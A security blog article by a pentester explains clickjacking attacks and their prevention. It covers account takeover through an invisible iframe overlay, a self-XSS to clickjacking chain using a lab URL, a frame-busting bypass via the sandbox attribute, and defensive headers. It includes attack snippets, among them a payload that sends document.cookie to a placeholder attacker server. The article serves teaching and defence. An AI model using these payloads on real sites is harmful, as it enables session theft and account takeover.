Clickjacking is a discreet but formidable attack technique. It exploits the user interface to trick victims into interacting with invisible or disguised elements.
A simple click can thus lead to unwanted actions: modification of settings, account theft, or execution of a malicious script.
In this article, we’ll explain how clickjacking works. We’ll also look at some examples of exploitation, as well as security best practices to prevent clickjacking.
Comprehensive Guide to Clickjacking
What is Clickjacking?
Clickjacking is an attack that tricks users into clicking on something they don’t see. The attacker superimposes a booby-trapped web page onto a legitimate site. The user thinks they’re interacting with the displayed site, but in reality, they’re triggering hidden actions: changing passwords, deleting accounts, or other unwanted actions.
This technique, which first appeared in 2008, was widely exploited in the 2010s. At the time, it was mainly used to force users to like or share content via tricked ads on social networks. While many platforms have corrected this flaw, some web applications are still vulnerable.
Clickjacking is often underestimated. It requires sophisticated attack scenarios that may seem unrealistic. However, in certain contexts, its exploitation can have critical consequences.
Example of a Clickjacking Attack Leading to Account Takeover
Let’s take the case of an application with a profile section where you can change your email address.
This feature is interesting because if a malicious user controls an account’s email address, he may be able to take control of the account by changing the email address and requesting a password reset.
Here, the data is POSTed to the server and requires the email field to be filled in. In our case, we need to find a scenario where the user pre-fills in the data to be modified. However, convincing a user to add the attacker’s email address seems complicated.
Examination of the source code reveals that the website integrates JavaScript code. This code retrieves the value of the email parameter contained in the url to pre-fill the email field.
In this context, we could embed the legitimate page in an iframe with the attacker’s email in the email parameter. All that’s left to do is to make the targeted person click on the button to change their email address.
<iframe src="https://targeted_website/[email protected]"></iframe>
Once the decoy page has been built, we need to succeed in superimposing the fake button over the button on the legitimate page. To do this, we’ll use CSS, following a trial-and-error approach and playing with the properties that determine positioning (width and height).
To hide the iframe behind the fake button, we’ll use the z-index
property, which we’ll set to 2 for the iframe on the legitimate site, and to 1 for the decoy site.
Finally, set opacity to 0 to make the page invisible to the target.
#Legitimate site {
position:relative;
width:128px;
height:128px;
opacity:0;
z-index:2;
}
#Decoy site {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
The result is as follows:
If the targeted person clicks on the ‘Claim your prize!’ button, they will in fact click on the button enabling them to change their email address and trigger the request below to the targeted web server. All the attacker then has to do is reset the password to take control of the account.
Transforming Self-XSS Into Critical Vulnerabilities Using Clickjacking
Self-XSS, as the name suggests, is a vulnerability where the user injects malicious JavaScript code themselves. Under normal circumstances, it has no impact and these flaws are not generally considered to be exploitable vulnerabilities, as there is no realistic scenario in which a user would voluntarily write JavaScript code to trick themselves.
However, when combined with other vulnerabilities, it is possible to considerably increase its impact. Here, we’ll look at how clickjacking can be exploited as a vector for transforming a self-XSS vulnerability into a critical flaw.
Let’s take the case of a web application where a Self-XSS vulnerability has been discovered in a feedback form. The vulnerability can only be exploited when the user clicks on the ‘Submit feedback’ button after filling in the ‘name’ field containing the JavaScript code.
In the same way as in the previous case, you can pre-fill the form fields from the parameters contained in the URL and integrate the application in an iframe that will be hidden behind a dummy website.
<iframe src="https://0aad00b40454a63ebcfaf34c00e100a4.web-security-academy.net/feedback?name=<img src=1 onerror=alert(document.domain)>&[email protected]&subject=test&message=test#feedbackResult"></iframe>
When users click on the ‘Test me’ button on the fraudulent page, they actually activate the button on the legitimate site, which triggers the JavaScript code.
An attacker could exploit this XSS in a more advanced way by stealing the target’s session cookies or performing compromising actions on their behalf, such as changing their email address.
For example, he could use the following code to exfiltrate the victim’s cookies to his own server:
<img src="x"onerror="fetch('https://[attacker_server]?cookie=' + document.cookie)">
He can then find the victim’s cookies in his server logs.
Clickjacking attack and frame busting bypass
How frame busting works?
To counter clickjacking, developers have introduced the use of frame busting scripts. These scripts are designed to detect and prevent a site being integrated into an iframe, ensuring that it is displayed in its main window.
Although now obsolete and largely replaced by other solutions, you can still find sites that use this protection technique.
Frame busting scripts can perform the following actions:
- Check the main window: The script ensures that the website is loaded in the browser’s main window (or ‘top window’). If this is not the case, this means that the site is in an iframe, and the script may return an error making it impossible to navigate the site.
- Make all frames visible: Another objective of the script is to ensure that all frames are visible, which prevents a hidden iframe from executing actions that are invisible to the user.
- Prevent clicks on invisible frames: Scripts can also prevent interaction with invisible frames.
- Alert the user: Some scripts go beyond simple protection and alert the user when a clickjacking attempt is detected.
There are, however, several methods of bypassing frame busting.
Frame busting bypass
Let’s take the example of an application that uses the following script to protect itself against clickjacking.
<script> if (top !== self) { window.addEventListener("DOMContentLoaded", function() { document.body.innerHTML = 'This page cannot be framed'; }, false); } </script>
The if (top !== self)
condition checks whether the page is displayed in an iframe rather than as a main window. If it is, a function is executed at the end of loading (DOMContentLoaded), replacing the page content with an error message to prevent its use.
Here, if an attacker tries to render the web page in an iframe, he will get the following error message.
To bypass this script, you can use the sandbox attribute of the iframe tag. If the value of the attribute is empty, this allows all the default restrictions to be applied.
One of the restrictions removes the iframe’s ability to access the ‘window.top’ JavaScript property, which is used here to determine whether the website is in an iframe.
This attribute also removes the ability to interact with forms. For example, someone targeted by a clickjacking attack would not be able to click on the ‘update email’ button on the form below.
By adding the value ‘allow-forms’ to the sandbox attribute, we can interact with all the forms in an iframe. This can then be used to carry out a clickjacking attack, similar to those described in the previous cases.
How to Prevent Clickjacking?
To protect against this type of attack, developers can choose between two headers: X-Frame-Options or Content-Security-Policy
To set up these protections, you will need to add these headers to all the http responses of the pages you wish to protect against Clickjacking.
Implementing the X-Frame-Options header
There are several directives in the X-Frame-Options header. If you specify the DENY directive, not only will the browser prevent the page from loading in an iframe when it is embedded from other sites, but it will also block this embedding even when it comes from the same site.
On the other hand, if you specify SAMEORIGIN, the page can still be displayed in an iframe, provided that the site embedding it is the same as the one serving it.
There is also the ALLOW-FROM directive, which allows you to authorise specific domains, but it is considered obsolete because it is no longer supported by modern browsers.
Protect your applications with the Content-Security-Policy (CSP) header
Unlike X-Frame-Options, the frame-ancestors directive in the Content-Security-Policy header offers more granular control by allowing several specific domains to be authorised in addition to self. For example:
Content-Security-Policy: frame-ancestors 'self' https://yourwebsite.com https://yourwebsite1.com;
This configuration authorises the integration of your site only on your own domain as well as on yourwebsite.com
and yourwebsite1.com
, preventing any unauthorised inclusion elsewhere.
Author: Yacine DJABER – Pentester @Vaadata